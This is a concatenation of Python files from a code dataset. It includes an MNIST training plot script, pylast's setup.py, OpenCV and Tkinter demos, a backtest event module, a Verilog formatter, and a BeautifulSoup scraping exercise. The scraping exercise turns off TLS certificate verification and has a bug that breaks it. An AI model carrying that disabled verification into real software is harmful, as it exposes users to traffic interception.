tf.add(tf.matmul(fc1, weight_test['wf2']), bias_test['bf1'])\n fc2 = tf.nn.relu(fc2)\n logits = tf.add(tf.matmul(fc2, weight_test['wfo']), bias_test['bfo'])\n\n prediction = tf.nn.softmax(logits)\n correct_pred = tf.equal(tf.argmax(prediction, 1), tf.argmax(Y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n loss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\n logits=logits, labels=Y))\n init = tf.global_variables_initializer()\n\n tmp_acc = []\n tmp_loss = []\n with tf.Session() as sess:\n sess.run(init)\n for step in range(total_steps):\n batch_x, batch_y = mnist.train.next_batch(batch_size)\n loss, acc = sess.run([loss_op, accuracy], feed_dict={X: batch_x, Y: batch_y})\n tmp_acc.append(acc)\n tmp_loss.append(loss)\n\n test_loss, test_acc = sess.run([loss_op, accuracy], feed_dict={X: mnist.test.images,\n Y: mnist.test.labels,\n })\n test_loss_record[index] = test_loss\n test_acc_record[index] = test_acc\n train_loss_record[index] = np.mean(tmp_loss)\n train_acc_record[index] = np.mean(tmp_acc)\n\n print('')\n fig = plt.figure()\n ax1 = fig.add_subplot(111)\n ax1.plot(alpha_set, np.log(train_loss_record), '--b')\n p1, = ax1.plot(alpha_set, np.log(test_loss_record), 'b')\n ax1.set_ylabel('Cross entropy (log scale)')\n ax1.set_xlabel('alpha')\n ax1.yaxis.label.set_color('blue')\n ax1.tick_params(axis='y', colors=p1.get_color())\n\n ax2 = ax1.twinx() # this is the important function\n ax2.plot(alpha_set, train_acc_record, '--r', label=\"Train\")\n p2, = ax2.plot(alpha_set, test_acc_record, 'r', label=\"Test\")\n ax2.set_ylabel('Accuracy')\n ax2.set_xlabel('alpha')\n ax2.yaxis.label.set_color('red')\n ax2.tick_params(axis='y', colors=p2.get_color())\n plt.legend()\n\n pic_dir = './pic'\n if not os.path.exists(pic_dir):\n os.makedirs(pic_dir)\n plt.savefig(pic_dir+'/FlatenessVsGeneralization.png')\n plt.show()\n","sub_path":"hw1/hw1_3_3_part1.py","file_name":"hw1_3_3_part1.py","file_ext":"py","file_size_in_byte":9915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"321603800","text":"#!/usr/bin/env python\nimport sys\n\nfrom setuptools import find_packages, setup\n\nversion_dict = {}\nwith open(\"src/pylast/version.py\") as f:\n exec(f.read(), version_dict)\n version = version_dict[\"__version__\"]\n\n\nif sys.version_info < (3, 5):\n error = \"\"\"pylast 3.0 and above are no longer compatible with Python 2.\n\nThis is pylast {} and you are using Python {}.\nMake sure you have pip >= 9.0 and setuptools >= 24.2 and retry:\n\n $ pip install --upgrade pip setuptools\n\nOther choices:\n\n- Upgrade to Python 3.\n\n- Install an older version of pylast:\n\n$ pip install 'pylast<3.0'\n\nFor more information:\n\nhttps://github.com/pylast/pylast/issues/265\n\"\"\".format(\n version, \".\".join([str(v) for v in sys.version_info[:3]])\n )\n print(error, file=sys.stderr)\n sys.exit(1)\n\nwith open(\"README.md\") as f:\n long_description = f.read()\n\n\nsetup(\n name=\"pylast\",\n description=\"A Python interface to Last.fm and Libre.fm\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n version=version,\n author=\"Amr Hassan and Contributors\",\n author_email=\"amr.hassan@gmail.com\",\n url=\"https://github.com/pylast/pylast\",\n tests_require=[\n \"coverage\",\n \"flaky\",\n \"mock\",\n \"pycodestyle\",\n \"pyflakes\",\n \"pytest\",\n \"pyyaml\",\n ],\n python_requires=\">=3.5\",\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Topic :: Internet\",\n \"Topic :: Multimedia :: Sound/Audio\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n \"Programming Language :: Python :: Implementation :: PyPy\",\n ],\n keywords=[\"Last.fm\", \"music\", \"scrobble\", \"scrobbling\"],\n packages=find_packages(where=\"src\"),\n package_dir={\"\": \"src\"},\n license=\"Apache2\",\n)\n\n# End of file\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"293773670","text":"import cv2\n#Lecture d’une vidéo capture avec le camera de laptop\n#cap = cv2.VideoCapture(0)\n# Lecture d’une vidéo enregistrer sur le disque dur\nvideo = cv2.VideoCapture('video.mp4')\n#lecture l'image d'arrière-plan \nbackground = cv2.imread(\"bg_vedio.png\")\nbackground = cv2.cvtColor(background, cv2.COLOR_BGR2GRAY)\n\nwhile video.isOpened():\n # lire le video image par image \n ret, img = video.read()\n if img is None:\n break\n \n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n \n# la différence prise de l'image actuelle et de l'image précédente\n mask = cv2.absdiff(img, background)\n \n # faire le seuillage globale\n ret,mask = cv2.threshold(mask,25,255,cv2.THRESH_BINARY) \n \n img = cv2.resize(img, dsize=None, fx=0.5, fy=0.5) \n mask = cv2.resize(mask, dsize=None, fx=0.5, fy=0.5)\n #l'afichage des videos\n cv2.imshow(\"image\",img)\n cv2.imshow(\"Approches simples\", mask)\n \n key = cv2.waitKey(40) \n if key == 27: \n break\n \nvideo.release()\ncv2.destroyAllWindows()","sub_path":"simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"648802465","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 1 20:41:33 2019\n\n@author: bharatagrawal\n\"\"\"\n\nimport urllib.request, urllib.parse, urllib.error\nfrom bs4 import BeautifulSoup\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl = input('Enter - ')\nhtml = urllib.request.urlopen(url, context=ctx).read()\nsoup = BeautifulSoup(html, 'html.parser').text\n\n# Retrieve all of the anchor tags\ntags = soup('span')\nsum=0\nfor tag in tags:\n # Look at the parts of a tag\n t= int(tag.text)\n sum =sum+t\nprint(sum)\n","sub_path":"Using Python to Access Web Data/Week 4 - Reading Web Data From Python/Assignment/Scraping_HTML_Data_with_BeautifulSoup.py","file_name":"Scraping_HTML_Data_with_BeautifulSoup.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"448396455","text":"from enum import Enum, unique\n\n\n@unique\nclass EventType(Enum):\n MARKET = 0\n SIGNAL = 1\n ORDER = 2\n FILL = 3\n\n\nclass Event(object):\n \"\"\"\n Event类是为其子类提供接口的\n \"\"\"\n\n @property\n def type_enum(self):\n return self._type\n pass\n\n\nclass MarketEvent(Event):\n \"\"\"\n 用来驱动市场数据的更新\n \"\"\"\n\n def __init__(self):\n self._type = EventType.MARKET\n\n\nclass SignalEvent(Event):\n \"\"\"\n 它是来自strategy的event,将要被portfolio接受,portfolio会在之上做出反应\n \"\"\"\n\n def __init__(self, symbol, datetime, signal_type, strength):\n \"\"\"\n 初始化SignalEvent\n :param symbol: 交易品种的代码\n :param datetime: 生成这个Signal Event的时间\n :param signal_type: 这个参数的可选有\"SHORT\"和\"LONG\"和\"EXIT\"\n :param strength: 对持仓数量的控制,感觉有点像“手”的意思\n \"\"\"\n self._type = EventType.SIGNAL\n self.symbol = symbol\n self.datetime = datetime\n self.signal_type = signal_type\n self.strength = strength\n\n\nclass OrderEvent(Event):\n \"\"\"\n OrderEvent将被发送给execution handler处理\n \"\"\"\n\n def __init__(self, symbol, quantity, direction, order_type):\n \"\"\"\n 初始化OrderEvent\n :param symbol: 交易品种的代��\n :param quantity: 交易的数量\n :param direction: 交易的方向,可选的有\"BUY\"和\"SELL\"\n :param order_type: 订单的类型,可选的有:\"MKT\",表示Market;\"LMT\":表示Limit\n \"\"\"\n self._type = EventType.ORDER\n self.symbol = symbol\n self.quantity = quantity\n self.direction = direction\n self.order_type = order_type\n\n def print_order(self):\n print(\"Order: Symbol=%s, Type=%s, Quantity=%s, Direction=%s\" % (self.symbol, self.type_enum,\n self.quantity, self.direction))\n\n\nclass FillEvent(Event):\n \"\"\"\n 一个FillEvent里面包含了这个订单被执行之后的详细信息,包括佣金,交易数量什么的\n \"\"\"\n\n def __init__(self, time_index, symbol, exchange, quantity, direction, fill_cost, commission=None):\n \"\"\"\n 初始化\n :param time_index: The bar-resolution when the order was filled.\n :param symbol: 交易品种的代码\n :param exchange: 交易所\n :param quantity: 交易的量\n :param direction: 交易的方向,可选的有:\"BUY\"和\"SELL\"\n :param fill_cost: 交易后的持仓\n :param commission: An optional commission sent from IB.\n \"\"\"\n self._type = EventType.FILL\n self.time_index = time_index\n self.symbol = symbol\n self.exchange = exchange\n self.quantity = quantity\n self.direction = direction\n self.fill_cost = fill_cost\n\n # 计算佣金\n if commission is None:\n self.commission = self.calculate_commission()\n else:\n self.commission = commission\n\n def calculate_commission(self):\n \"\"\"\n 计算交易的佣金\n :return: 计算出来的此次交易所需花费的佣金\n \"\"\"\n commission_fee_rate = 0.0002\n full_cost = self.quantity * commission_fee_rate\n if full_cost <= 5:\n full_cost = 5\n return full_cost\n","sub_path":"bt/components/event/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"283694781","text":"#! /usr/bin/env python\n#-*-coding: utf-8 -*-\n# Renaud Lizot\n# 14509956\n# px21.2\n\n# modifier ce programme pour qu'il calcule le pluriel d'un mot et non la valeur d'une expression\n# mathématique\": au lieu d'importer le module math, ajouter simplement votre définition de la\n# fonction pluriel(), et arrangez-vous pour qu'elle soit invoquée qq part dans le handler valeur() \n# à la place du mécanisme qui, jusque là, évaluait l'expression mathématique...\n\ndef pluriel(mot):\n\texceptions = ['oeil', 'yeux', 'œil', 'yeux', 'ail', 'aulx', 'vieil', 'vieux', 'ciel', 'cieux', 'aïeul', 'aïeux']\n\tif mot in exceptions: return exceptions[exceptions.index(mot) +1]\n\telif mot in ['bleu', 'pneu', 'emeu', 'bancal', 'banal', 'portail', 'étal', 'serval', 'caracal', 'régal', 'naval', 'glacial', 'natal', 'bal', 'carnaval', 'chacal', 'festival', 'récital']: return mot + 's'\n\telif mot in ['hibou', 'pou', 'caillou', 'genou', 'bijou', 'joujou', 'chou']: return mot + 'x'\n\telif mot in ['bail', 'corail', 'émail', 'soupirail', 'travail', 'vantail', 'vitrail', 'bétail', 'portail']: \n\t\tif mot == 'bétail': return 'bestiaux'\n\t\telse: return mot[0:-2] + 'ux'\n\telse: \n\t\tif mot[-3:] == 'eau': return mot + 'x'\n\t\telif mot[-3:] in ['eil', 'iel', 'eul', 'ail', 'uil']: return mot + 's'\n\t\telse: \n\t\t\tif mot[-2:] == 'al': return mot[0:-2] + 'aux'\n\t\t\telif mot[-2:] == 'eu': return mot + 'x'\n\t\t\telif mot[-2:] in ['ou', 'au', 'el', 'il', 'ru', 'tu', 'pu', 'su', 'du', 'lu', 'vu', 'nu', 'mu']: return mot + 's'\n\t\t\telse:\n\t\t\t\tif mot[-1] in ['z', 'x', 's']: return mot\n\t\t\t\telse: return mot + 's'\n\ndef valeur(event): val.configure(text=pluriel(express.get()))\n\nfrom Tkinter import *\ntop = Tk()\nexpress = Entry(top)\nexpress.bind(\"\", valeur)\nexpress.bind(\"\", valeur)\nexpress.pack()\nval = Label(top)\nval.pack()\ntop.mainloop()\n\n\n# key binding: keypad enter (numpad)\n# key binding: Entrée\n","sub_path":"PYTHON/EXERCICES/px21+/px21.2.py","file_name":"px21.2.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"535001147","text":"import copy\nimport re\nimport os\nfrom shutil import copyfile\n\nalign_top_ports_comment_line = True\n# top comment align: \"//---- xxxxx -----\"\ndef get_char_len(a):\n \"\"\" return the sum of characters of each item in a list.\n a: input list\n return: l; character number\n \"\"\"\n l = 0\n for item in a:\n l += len(item)\n return l\n\nclass VerilogBeautifier:\n\n def __init__(self):\n self.kw_direction = ['input', 'output', 'inout']\n self.kw_dir_max = max( [len(x) for x in self.kw_direction] )\n self.kw_signaltype = ['logic', 'wire', 'reg']\n self.kw_sig_max = max( [len(x) for x in self.kw_signaltype] )\n self.extension_list = ['.v', '.sv']\n self.cwd = os.getcwd()\n self.files_in = self.get_input_files()\n self.files_todo = self.select_one_file()\n self.files_paths = [os.path.join(self.cwd, file_name) for file_name in self.files_todo]\n\n def get_input_files(self):\n \"\"\" get the file paths of verilog or systemverilog files to be beautified.\n return: file paths list\n \"\"\"\n files_in = list()\n for item in os.listdir():\n if os.path.isfile(item):\n item_name, item_extension = os.path.splitext(item)\n if item_extension in self.extension_list:\n if not item_name.endswith('_copy'):\n files_in.append(item)\n if files_in:\n return files_in\n else:\n print(f'No files with extensions {self.extension_list} found in \"{self.cwd}\". Exiting program...')\n exit(1)\n\n def select_one_file(self):\n \"\"\" select one file in self.files_in and return \"\"\"\n files_in = list()\n if len(self.files_in)>1:\n print(f'Found {len(self.files_in)} verilog files in \"{self.cwd}\". Select a file to beautify:')\n for i, f in enumerate(self.files_in):\n print(f'{i}: {f}')\n f_i = int(input())\n #f_i = 0 # for test\n files_in.append(self.files_in[f_i])\n else:\n files_in.append(self.files_in[0])\n return files_in\n\n def copy_files(self):\n \"\"\" copy files in 'self.files_path' to back them up\"\"\"\n files_copy = list()\n for fn in self.files_todo:\n fn_name, fn_extension = os.path.splitext(fn)\n files_copy.append(fn_name+'_copy'+fn_extension)\n files_copy_paths = [os.path.join(self.cwd, file_name) for file_name in files_copy]\n for i, file_path in enumerate(self.files_paths):\n src = file_path\n dst = files_copy_paths[i]\n if os.path.isfile(dst):\n print(f'{dst} already exist, skip copying')\n else:\n print(f'copying src: {src}')\n print(f'copying dst: {dst}')\n copyfile(src,dst)\n\n def beautify_module_instances(self, lines, start_i, finish_i):\n \"\"\" perform module instantiation beautifying, e.g., .DW(DW) -> .DW( DW )\n \"\"\"\n #### get max character width of \"param_m\" and \"param_s\" as in: (.param_m(param_s))\n mexp = r\"\\.\\w+\"\n sexp = r\"\\(.+\\)\"\n m_max = -1 # master parameter character width\n m_line = ''\n s_max = -1 # slave parameter character width\n s_line = ''\n for i, line in enumerate(lines):\n ### skip uninterested lines\n if i not in range(start_i, finish_i):\n continue\n ### skip blank lines or comment lines\n if ( not line.strip() ) or ( re.match(r'\\s*//', line )):\n continue\n ### process interested lines:\n indent = re.match(r\"\\s*\", line).group() # leading white spaces\n if '//' in line:\n comment = line[line.find('//'):]\n else:\n comment = ''\n param_m = re.findall(mexp, line) # \".dw\" in \".dw(dw)\"\n param_s = re.findall(sexp, line) # \"(dw)\" in \".dw(dw)\"\n #print(f'param_s = {param_s}')\n if param_m:\n param_m = param_m[0][1:].strip() # \"dw\" in \".dw\"\n if len(param_m)>m_max:\n m_max = len(param_m)\n m_line = line\n if param_s:\n param_s = param_s[0][1:-1].strip() # dw in \"(dw)\"\n if len(param_s)>s_max:\n s_max = len(param_s)\n s_line = line\n #print(f's_max = {s_max}')\n #print(f's_line = {s_line}')\n #print(f'm_max = {m_max}')\n #print(f'm_line = {m_line}')\n #input()\n for i, line in enumerate(lines):\n ### skip uninterested lines\n if i not in range(start_i, finish_i):\n continue\n ### skip blank lines or comment lines\n if ( not line.strip() ) or ( re.match(r'\\s*//', line )):\n continue\n ### process interested lines:\n indent = re.match(r\"\\s*\", line).group() # leading white spaces\n if not re.match(r'\\s*\\.\\w+\\s*\\(.+\\)', line):\n continue\n #if '//' in line:\n # comment = line[line.find('//'):]\n #else:\n # comment = ''\n line_end = line[line[:line.find('//')].rfind(')'):]\n #line_end = line[line.find(')'):] # starting from \")....\"\n param_m = re.findall(mexp, line) # \".dw\" in \".dw(dw)\"\n param_s = re.findall(sexp, line) # \"(dw)\" in \".dw(dw)\"\n if param_m:\n param_m = param_m[0][1:].strip() # \"dw\" in \".dw\"\n else:\n print(f'param_m is empty! in {line}')\n print(f'mexp = {mexp}')\n print(re.findall(mexp, line))\n exit(1)\n if param_s:\n param_s = param_s[0][1:-1].strip() # dw in \"(dw)\"\n else:\n print(f'param_s is empty! in {line}')\n print(f'sexp = {sexp}')\n print(re.findall(sexp, line))\n exit(1)\n m_spaces = ' '*(m_max-len(param_m)+1) # spaces to be added after \"param_m\"\n s_spaces = ' '*(s_max-len(param_s))+' '\n line = indent+'.'+param_m+m_spaces+'('+' '+param_s+s_spaces+line_end\n lines[i] = line\n return lines\n\n def beautify_assign(self, lines, start_i, finish_i):\n \"\"\" lines: whole lines of the ongoing file to be beautified.\n perform assign alignment, e.g.: \"assign A = b; // test\"\n \"\"\"\n kw = r\"assign\"\n kexp = r\"assign +.+?=\"\n ksep = '='\n kend = ';'\n key_lines = lines[start_i:finish_i]\n lh_max = -1 # max character width of left-handed variable, e.g., 'assign A=B;' 'A' is the lh\n lh_max_line = ''\n rh_max = -1\n rh_max_line = ''\n lh_maxlimit = 20\n rh_maxlimit = 20\n ### get character width info\n for i, line in enumerate(key_lines, start_i):\n line = line.lstrip()\n if line.startswith('//') or not line:\n continue\n assert(line.startswith(kw))\n assert(re.match(kexp, line))\n lh = line[len(kw):line.find(ksep)].strip()\n rh = line[line.find(ksep)+1:line.find(kend)].strip()\n if len(lh)>lh_max and len(lh)rh_max and len(rh)=167 and i<=170:\n # print(f'start_i = {start_i}; finish_i = {finish_i}')\n # print(f'lh_max = {lh_max}')\n # print(f'rh_max = {rh_max}')\n # print(f'lh_max_line = {lh_max_line}')\n # print(f'rh_max_line = {rh_max_line}')\n # input()\n ### align\n for i, line in enumerate(key_lines, start_i):\n indent = re.match(r\"\\s*\", line).group()\n if not line.strip():\n line = '\\n'\n elif line.lstrip().startswith('//'):\n line = indent + line.lstrip()\n else:\n line_copy = copy.deepcopy(line)\n line = line.lstrip()\n char_list = line.split()\n char_len_original = get_char_len(char_list) # character length of the line before modified\n after_end = line[line.find(kend):] # e.g., \";//test\" in \"assign A=a;//test\"\n lh = line[len(kw):line.find(ksep)].strip()\n rh = line[line.find(ksep)+1:line.find(kend)].strip()\n lh_new = lh+' '*(lh_max-len(lh))\n if len(lh)>lh_max:\n rh_new = rh+' '*(rh_max-len(rh)-(len(lh)-lh_max))\n else:\n rh_new = rh+' '*(rh_max-len(rh))\n line = indent+kw+' '+lh_new+' '+ksep+' '+rh_new+after_end\n char_len = get_char_len(line.split())\n if(char_len_original != char_len):\n print(line)\n print(line_copy)\n exit(1)\n lines[i] = line\n return lines\n\n def beautify_declarations(self, top_ports, lines, start_i, finish_i):\n \"\"\" lines: whole lines of the ongoing file to be beautified.\n top_ports==True: perform top ports declaration alignment.\n top_ports==False: perform inside module signals declaration alignment.\n \"\"\"\n if top_ports:\n print(f'Beautifying top ports...')\n else:\n print(f'Beautifying inside module signals declaration...')\n if top_ports:\n indent = ' '*4\n puct = r','\n else:\n indent = ''\n puct = r';'\n key_lines = lines[start_i:finish_i]\n for i, line in enumerate(key_lines, start_i):\n if line.strip():\n if top_ports:\n assert(any( [line.strip().startswith(x) for x in ['//', 'input', 'output', 'inout']] )), f'line{i}: {line}'\n else:\n assert(any( [line.strip().startswith(x) for x in ['//', 'logic', 'wire', 'reg']] )), f'{line}'\n kw_direction = self.kw_direction\n kw_dir_max = self.kw_dir_max\n kw_signaltype = self.kw_signaltype\n kw_sig_max = self.kw_sig_max\n ### ----- 1. prepare: get max character width infomation\n bw_max = -1 # max character width of the first part in brackets, e.g. \"[AXI_AW-1\" in [AXI_AW-1:0]\n bw_max_line = ''\n bw2_max = -1 # \":0]\" in [AXI_AW-1:0]\n bw2_max_line = ''\n dir_max = -1 # direction character max width\n dir_max_line = ''\n sig_max = -1 # signal type character max width\n sig_max_line = ''\n name_max = -1 # signal name\n name_max_line = ''\n for i, line in enumerate(key_lines, start_i):\n line = line.lstrip()\n if line.startswith('//') or not line:\n #if top_ports:\n # print(line)\n continue\n # get dir_max and sig_max\n if top_ports:\n dir_name = re.findall(r'\\w+', line)[0]\n sig_name = re.findall(r'\\w+', line)[1]\n assert(dir_name in kw_direction)\n else:\n dir_name = ''\n sig_name = re.findall(r'\\w+', line)[0]\n if len(dir_name) > dir_max:\n dir_max = len(dir_name)\n dir_max_line = line\n if sig_name in kw_signaltype:\n if len(sig_name) > sig_max:\n sig_max = len(sig_name)\n sig_max_line = line\n # get bits width character max width\n results = re.findall(r'\\[.+?\\]', line)\n if results:\n results = results[0]\n results_list = results.split(':')\n bw = ''.join(results_list[0].split()) # e.g., \"[AXI_AW-1\" in \"[AXI_AW-1:0]\"\n bw2 = ''.join(results_list[1].split())# e.g., \"0]\" in \"[AXI_AW-1:0]\"\n if len(bw) > bw_max:\n bw_max = len(bw)\n bw_max_line = line\n if len(bw2) > bw2_max:\n bw2_max = len(bw2)\n bw2_max_line = line\n # get name max character width\n if '//' in line:\n line = line[:line.find('//')]\n if i-start_i==len(key_lines)-1 and top_ports:\n assert(len(re.findall(puct, line))==0) # assert no puct in the last line of top ports\n else:\n assert(len(re.findall(puct, line))==1) # assert 1 puct if not the last line of top ports\n results = re.findall(r'(\\w+)(\\[.+.\\])*', line)\n results = ''.join(results[-1])\n assert(results), f'Found no signal name in line {i}: {line}'\n if len(results) > name_max:\n name_max = len(results)\n name_max_line = line\n #print(f'dir_max = {dir_max}')\n #print(f'dir_max_line = {dir_max_line}')\n #print(f'sig_max = {sig_max}')\n #print(f'sig_max_line = {sig_max_line}')\n #print(f'bw_max = {bw_max}')\n #print(f'bw_max_line = {bw_max_line}')\n #print(f'bw2_max = {bw2_max}')\n #print(f'bw2_max_line = {bw2_max_line}')\n #print(f'name_max = {name_max}')\n #print(f'name_max_line = {name_max_line}')\n #input()\n #print(f\"indent+dir_max+sig_max+bw_max+bw2_max+name_max = {len(indent)}+{dir_max}+{sig_max}+{bw_max}+{bw2_max}+{name_max}\")\n gap_spaces = 7 # spaces between segments\n sum_len = len(indent)+dir_max+sig_max+bw_max+bw2_max+name_max+gap_spaces+1 # +1: \",\"\n ### ----- 2. get aligned segments\n ### line is split into 5 segments:\n ### seg[0]: direction\n ### seg[1]: signal type\n ### seg[2]: bit width\n ### seg[3]: signal name\n ### seg[4]: comments\n seg = ['']*5\n new_key_lines = list()\n for i, line in enumerate(key_lines, start_i):\n if top_ports:\n pass\n else:\n indent = re.match(r\"\\s*\", line).group()\n if not line.strip():\n line = '\\n'\n elif line.lstrip().startswith('//'): # align comment line\n if align_top_ports_comment_line and top_ports:\n #assert(re.match(r\"\\s*//-+\\s+(\\w+\\b\\s+)+-+\\s*$\", line)), f\" illegal comment line in top ports: line {i}: {line}\"\n if(re.match(r\"\\s*//-+\\s+(\\w+\\b\\s+)+-+\\s*$\", line)):\n line = indent + line.strip()\n assert (len(line) <= sum_len), f\" sum_len = %0d; len(line) = {len(line)}; line {i}: {line}\"\n if(len(line) < sum_len):\n line = line+'-'*(sum_len-len(line))+'\\n'\n else:\n line = indent + line.lstrip()\n else:\n line = line.lstrip()\n word_list = re.findall(r'\\w+', line)\n ### seg[0]: direction\n if top_ports:\n seg[0] = word_list[0]\n assert(seg[0] in kw_direction)\n seg[0] += ' '*(dir_max-len(seg[0])+1) # left align\n else:\n seg[0] = ''\n ### seg[1]: signal type\n if top_ports:\n seg[1] = word_list[1]\n else:\n seg[1] = word_list[0]\n if seg[1] in kw_signaltype:\n seg[1] += ' '*(sig_max-len(seg[1])+1)\n else:\n if not top_ports:\n print(f' Found no signal type while performing logic declaration align in line {i}: {line}. Exiting program...')\n exit(1)\n else:\n seg[1] = ' '*(sig_max+1)\n ### seg[2]: bit width declaration\n results = re.findall(r'\\[.+?\\]', line)\n if results:\n results = results[0] # e.g.: [AXI_IW-1 : 0]\n results_list = results.split(':') # ['AXI_IW-1 ', ' 0']\n results_list = [''.join(x.split()) for x in results_list] # ['AXI_IW-1', '0']\n results_list[0] += ' '*(bw_max-len(results_list[0])+1)\n results_list[1] += ' '*(bw2_max-len(results_list[1])+1)\n results_list[1] = ' '+results_list[1]\n seg[2] = ':'.join(results_list)\n else:\n seg[2] = ' '*(bw_max+1+1+1+bw2_max+1)\n ### seg[3]: signal name\n if '//' in line:\n line_temp = line[:line.find('//')].strip()\n else:\n line_temp = line\n if seg[2].strip(): # if bit width declatrations exists. e.g., [AXI_IW-1:0]\n seg[3] = line_temp[line_temp.find(']')+1:].strip()\n elif seg[1].strip(): # else if signal type declatrations exists. e.g., logic [AXI_IW-1:0]\n seg1_strip = seg[1].strip()\n seg[3] = line_temp[line_temp.find(seg1_strip)+len(seg1_strip):].strip()\n else: # only direction declatrations exists. e.g., input a\n seg[3] = line_temp[line_temp.find(seg[0].strip())+len(seg[0].strip()):].strip()\n if not seg[3]:\n print(f'Signal name not found in line {i}: {line}. Exiting program...')\n exit(1)\n if seg[3][-1]==puct:\n seg[3] = seg[3][:-1]\n seg[3] = seg[3].strip()\n if i-start_i==len(key_lines)-1 and top_ports:\n seg[3] = seg[3]+' '*(name_max-len(seg[3])+1)+' '\n else:\n seg[3] = seg[3]+' '*(name_max-len(seg[3])+1)+puct\n ### seg[4]: comments\n if '//' in line:\n results = line[line.find('//'):]\n seg[4] = ' '+results\n else:\n seg[4] = '\\n'\n line = indent+''.join(seg)\n #if i-start_i==len(key_lines)-1 and top_ports:\n #for _ in seg:\n # print(_)\n #input(f'line = {line}' )\n new_key_lines.append(line)\n #print(line, end='')\n lines[start_i:finish_i] = new_key_lines\n return lines\n\n def beautify(self, file_path):\n print(f'Beautifying {file_path}')\n with open(file_path, 'r') as fh:\n lines = fh.readlines()\n fh_lines = copy.deepcopy(lines)\n ### 1. top ports Beautifying:\n start_key = ')(' # port declatrations start from this\n finish_key = ');' # finish at this\n start_i = -1 # start line number\n finish_i = 0 # finish line number\n for i, line in enumerate(lines):\n if line.strip()==start_key:\n start_i = i+1\n break\n for i, line in enumerate(lines):\n if line.strip()==finish_key:\n finish_i = i\n break\n lines = self.beautify_declarations(True, lines, start_i, finish_i)\n #assert(len(lines)==len(lines))\n #for i, line in enumerate(lines):\n # if i not in range(start_i, finish_i):\n # assert(line == fh_lines[i]) # assert only lines outside ragne (start_i, finish_i) are not modified\n\n ### 2. inside-module-signals declaration(logic, wire, reg) Beautifying:\n inside_declaration = False\n start_i = -1\n finish_i = 0\n for i, line in enumerate(lines):\n sline = line.strip()\n if not sline:\n continue\n rs = re.findall(r'\\w+', sline)\n if rs:\n if(rs[0] in self.kw_signaltype) and (not inside_declaration):\n start_i = i\n inside_declaration = True\n if (not any( [sline.startswith(x) for x in self.kw_signaltype] )) and (not sline.startswith('//')) and inside_declaration: # if a line does not start with ['logic', 'wire', 'reg'] or ['//']\n finish_i = i\n inside_declaration = False\n # 2.1. perfom alignment on a signal declaration block\n lines = self.beautify_declarations(False, lines, start_i, finish_i)\n #break # only perform beautifying on the 1st logic block\n\n ## 3. 'assign' Beautifying:\n inside_declaration = False\n start_i = -1\n finish_i = 0\n kw = r\"assign\"\n for i, line in enumerate(lines):\n sline = line.strip()\n if not sline:\n continue\n if sline.startswith(kw) and not inside_declaration:\n start_i = i\n inside_declaration = True\n if (not sline.startswith(kw)) and (not sline.startswith('//')) and inside_declaration: # if a line does not start with \"assign\" and it's not a comment line\n finish_i = i\n inside_declaration = False\n # 2.1. perfom alignment\n lines = self.beautify_assign(lines, start_i, finish_i)\n #break # only perform beautifying on the 1st block\n lines = self.beautify_assign(lines, start_i, finish_i)\n\n ## 4. module instances Beautifying:\n start_i = -1\n finish_i = 0\n for i, line in enumerate(lines):\n if re.match(r'\\s*\\w+\\s*#\\s*\\(', line):\n start_i = i\n #print(f'i={i}; line={line}')\n if re.match(r'\\s*\\)\\s*\\w+\\s*\\(', line):\n finish_i = i\n lines = self.beautify_module_instances(lines, start_i, finish_i)\n start_i = i\n #print(f'i={i}; line={line}')\n #input()\n if re.match(r'\\s*\\);', line):\n finish_i = i\n lines = self.beautify_module_instances(lines, start_i, finish_i)\n #lines = self.beautify_module_instances(lines, 221, 229)\n #lines = self.beautify_module_instances(lines, 214, 219)\n #for _ in lines:\n # print(_)\n\n ### final: validify characters\n assert(len(lines)==len(fh_lines))\n for i, line in enumerate(lines):\n line_len = get_char_len(lines[i].split())\n fhline_len = get_char_len(fh_lines[i].split())\n if line.lstrip().startswith(\"//\") and align_top_ports_comment_line:\n pass\n else:\n assert(line_len==fhline_len), f'line_line={line_len}; fhline_len={fhline_len}\\nline = \"{line}\"\\nfhline=\"{fh_lines[i]}\"'\n\n with open(file_path, 'w') as fh:\n print(f'written to file {file_path}')\n fh.writelines(lines)\n\n def beautify_all(self):\n ### backup files\n print(f'files to beautify: ')\n for file_path in self.files_paths:\n print(file_path)\n self.copy_files()\n ### beautify files in \"self.files_paths\"\n for file_path in self.files_paths:\n self.beautify(file_path)\n\nif __name__ == '__main__':\n print(\"hello...\")\n v = VerilogBeautifier()\n v.beautify_all()\n\n","sub_path":"verilog_beautifier.py","file_name":"verilog_beautifier.py","file_ext":"py","file_size_in_byte":23251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"348966214","text":"from absl import app, flags, logging\nfrom absl.flags import FLAGS\nimport cv2\nimport tensorflow as tf\nfrom yolov3_tf2.models import (\n YoloV3, YoloV3Tiny\n)\nfrom 